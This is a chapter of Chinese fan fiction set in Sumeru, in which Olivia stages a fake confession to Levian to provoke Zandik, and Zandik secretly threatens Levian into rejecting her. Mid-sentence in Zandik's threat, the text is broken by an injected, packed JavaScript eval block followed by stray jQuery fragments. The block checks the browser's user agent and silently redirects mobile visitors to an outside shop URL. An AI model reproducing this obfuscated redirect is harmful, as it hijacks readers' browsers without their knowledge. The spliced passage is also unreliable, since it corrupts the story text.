“什么?你要跟我告白?!”
教令院高处的半露天观景亭里,风从石雕拱门间穿过,一声惊叫瞬间打破了宁静。
幸好这个世界没什么人经过,亭子周围只有他们二人,不至于让其他人听到莱维安这声尖叫,奥莉维亚连忙捂住耳朵,推了他一下。
莱维安咽了咽喉咙,搁下手里的东西,满脸难以置信,随后又像变脸似的迅速切换成一脸受宠若惊的表情,声音像快要哭出来:“那…那我要准备什么?花?戒指?还是婚礼?”
这人想到哪去了。
奥莉维亚无奈扶额,比了个暂停的手势,“你什么都别准备,听我说完。”
而后三言两语把计划全盘托出,她要让赞迪克亲眼看见她和莱维安告白,就不信他还能沉得住气,这一把必须把好感度拉上去。
听到最后,莱维安兴奋的神情瞬间垮了下去,脸上的笑容慢慢凝固。
“又是为了赞迪克?奥莉维亚,你有没有想过,如果我是真的喜欢你,这出戏对我来说是不是太残忍了。”
她歪着头,语气带着几分不解:“可是这不是你提议的吗?是你让我假装喜欢你,然后让赞迪克产生危机意识呀。”
眼看着莱维安陷入悲伤中,奥莉维亚并非不清楚他的意思,她又不是没有开智的爱情傻瓜,但这件事起源于他自己的谎言,而她没有义务设身处地替他着想,她的目的自始至终都是攻略赞迪克。
擅自对他人抱有期待,那就要做好期望破灭的打算。这是他需要面对的问题,不关她的事。
莱维安把脸埋进手里,挣扎了半天,最后变成一声苦涩的叹息:“好,我明白了,明天晚上在他的公寓附近,我会准时到的。”
尽管如此,为了得到心爱的女孩,他会在答应她的告白之后带她离开,并且告诉她,他发现赞迪克在实验室研究人体的事。
奥莉维亚一定会受到惊吓,虽然趁虚而入不是君子行为,可他无法坐视不理。
赞迪克就是个疯子。
·
次日傍晚,须弥城最后一抹余晖沉入雨林。
赞迪克按照约定好的时间出现在公寓不远之外,稍微等了片刻,就看见熟悉的身影出现,而她身边的人分明是莱维安。
他唇角几不可查勾起一抹弧度,低着头不知在思考什么,嘴角笑意更甚。
隔着一点距离,奥莉维亚余光瞥见赞迪克正站在他们的斜后方,忽然紧张起来。
“莱维安?”她看向面前脸色惨白的人,后者听到她的声音才如梦初醒般,看起来精神状态很不好,瞳孔里充满了血丝。
她皱了下眉,朝他递了一杯刚打包的咖啡过去,见他手止不住的发抖,她压低声音问道:“你没事吧?如果你不舒服的话我们可以改天,你不要勉强自己了。”
“不。”莱维安深吸一口气,目光炯炯,“就今天吧,他已经来了,按计划行事。”
奥莉维亚攥紧拳头,手指都快陷进肉里,控制自己的眼睛不要到处乱瞟。
随即抬头迎上莱维安那双写满了悲伤的眼睛,平时总是笑意盈盈的,今天说不上来的怪异,她来不及多想,整理了一下措辞。
“莱维安学长。”她开口,声音略微有点抖,“从第一次见到你我就开始喜欢你了,一直到现在,如果你也对我有意思的话…”
“不。”他闭了闭眼,眼眶猩红一片,像是下定某种决心,出声打断了她。
他垂下眼,嘴角挂着一丝淡笑,声音很轻:“我不是很会拒绝,你可能误会了什么,我怕你会很伤心,但是…我不喜欢你,奥莉维亚。”
语序完全混乱,颠三倒四。
在奥莉维亚错愕的目光中,莱维安强撑着对上她漂亮的眸子,内心万分挣扎。
“你别伤心好不好?”
奥莉维亚的世界轰然倒塌,她不明白为什么莱维安临阵倒戈,而且丝毫没有和她商量一下,这完完全全出乎意料,以至于她呆滞了好半天才反应过来,差点气笑了。
她一想到赞迪克在背后看着她被拒绝,就觉得无比煎熬,内心水深火热。
“你在开什么玩笑?”她紧绷着脸,清秀的眉皱成一团,眼神带着愤怒和崩溃,几乎是吼出来,“不会拒绝你就给我同意啊!”
赞迪克那家伙就在后面看着,你现在拒绝我是什么意思啊——
莱维安死死咬着嘴唇,听到这话也忍不住想哭,他怎么会不想答应呢。
“对不起,奥莉维亚,我知道你很生气,可是我真的不能答应你,你骂我吧。”
她整个人僵在原地,不敢回头看,也不再想冲他发泄情绪,怒瞪了他一眼,“把我骗过来告白让我把脸都丢尽了,你这个混蛋。”
旋即头也不回地跑走了。哪敢回头,指不定赞迪克在背后怎么嘲笑她呢,不行她要找个地方躲几天,太丢人了太丢人了!
等她的背影彻底在视野里消失,少年迈着步子慢悠悠晃过来,经过低着头一蹶不振的莱维安身边时,从鼻尖溢出一声轻蔑的冷哼。
“做得好。”他说。
莱维安怒不可遏朝他挥拳,被他侧身避开,挥了个空。
“赞迪克,你记住了,你才是那个混蛋。”
昨晚与奥莉维亚分开后的记忆如潮水般漫上来。
那人甚至不等他离开教令院,仅仅在下一个拐角,莱维安刚走两步,一只手从暗处伸出,动作利落地捏住了他的后颈。
力道不大,却精准地按在颈动脉的位置,应该是常年接触人体相关的信息才能这么了然于心,他的呼吸霎时就被扼住,动弹不得。
“别乱动。”赞迪克的声音从身后传来,宛如毒蛇在吐信子般阴险,“你的心跳加快了,你在害怕,怎么不回头看看我?”
莱维安浑身僵直,心知肚明两人体力上的悬殊,“你想对我做什么?”
赞迪克绕到他面前,借着稀薄的月色,他的脸轮廓锋利冷硬,那双鲜红色的瞳仁在暗处亮得骇人,像冷血动物锁定猎物时瞳孔收缩的模样。他还在笑,笑容如此讥诮。
“你喜欢她。”他说,“但你知不知道,一个人的大脑在极端恐惧的状态下,会分泌出很多有意思的东西?我一直想找个活体样本验证这个课题。”
他凑近莱维安那张满是汗的脸,手指从颈侧滑到下颌,拇指按在他的颧骨上。
他那张仍带着少年感的脸上浮现出茹毛饮血的疯狂,让莱维安忍不住颤抖起来。
“她住在我家里,你如果再靠近她一次,我不介意把你的名字写进下一期的实验报告里,毕竟你是亲眼见过的。教令院每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874675|212345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
年都有几个意外失踪的学者,你猜大贤者会不会为了你专门立案调查?”
赞迪克嘴角弯了一下,可他的脸上分明什么表情都没有,声音却震在耳旁。
随后,他缓缓松开手,两只手的手心对着他举起,月光重新照亮了他的脸。
“别让她知道我找过你,这两天如果她继续找你,你知道该怎么做,离她远点。”
回忆戛然而止。
莱维安纵使心里千般不愿也不敢赌那个疯子的想法,毕竟人都疯了,还会在乎他那一条人命吗,所以他只能忍受屈辱拒绝了她。
而此时的奥莉维亚正躲在蕾妮的家中,她把前因后果全都向蕾妮托盘而出。
巨大的信息量让蕾妮愣了好一会,下巴都快掉到地上,不知道咽了多少次口水,才从震惊中缓过来,她的表情简直和奥莉维亚复制粘贴一样,情绪也跟着愤怒起来。
“什么!莱维安居然拒绝你了?”她豪饮了一口饮料,“他怎么可以这样!就算他真的不喜欢你,那也应该保持绅士风度吧!”
当着赞迪克的面拒绝了奥莉维亚这件事,怎么想都不像是他会做出来的呀。
蕾妮百思不得其解,嘀嘀咕咕道:“莱维安对你不是一见钟情吗?而且为了更了解你还主动来认识我,按理说他应该不会这样做的。”
“可是事实就是这样,这样的事情就是发生了。我没脸见赞迪克了。”奥莉维亚止不住地叹气,心情稍微有所好转。
两人对视一眼,不约而同捂住脸笑了起来。
“不过我也没想到你居然会做这种事,真的有那么喜欢赞迪克吗?他哪里吸引你了?”蕾妮头一歪靠在她肩上,无聊地玩起她的头发。
她要不要跟奥莉维亚说生论派有位陀娑多对赞迪克好像挺有好感的事呢…
奥莉维亚摆摆手,“皮相吧。”
“原来你是看脸的哇,我还以为有什么特别的理由呢,这样就说得通了。”
蕾妮见过赞迪克几面,那人衣冠楚楚,可是一看那双眼睛就觉得后背发凉。
就这样在蕾妮家里睡了一晚,第二天还被罗娜尔导师叫去办公室问话。
从办公室出来后,奥莉维亚一边打哈欠一边从教令院侧门出去,刚走出门,脚步蓦地一顿,看见站在不远处的人影,她大脑宕机一瞬,毫不犹豫地扭头就走。
后颈猝不及防被人捏住,她下意识瑟缩了下脖子,耳边传来他的声音:“跑什么?看到我像见到鬼一样,我很可怕?”
简直比鬼还恐怖一万倍!
奥莉维亚在心底默默叫嚣着,脑袋扭动了几下,“赞迪克,你把手撒开。”
别像拎着一条狗似的行吗。
他唇间溢出一道轻声嗤笑:“说说看,昨晚为什么没回来?是因为被我看见…”
“不是!”她矢口否认,转念一想,“不对,我为什么要和你报备行程?”
别搞得好像他们是热恋期的情侣一样好吗!
一阵凉风毫无预兆地拂过来,异物感猛地袭来,她下意识眯起眼,睫毛抖了抖。
她眼睛进沙子睁不开眼,只能低着头用手使劲揉,越揉眼尾越红。
“……”赞迪克见状表情一僵,松开捏住她的手,声音压得极低,“就因为被他拒绝,难过成这样?”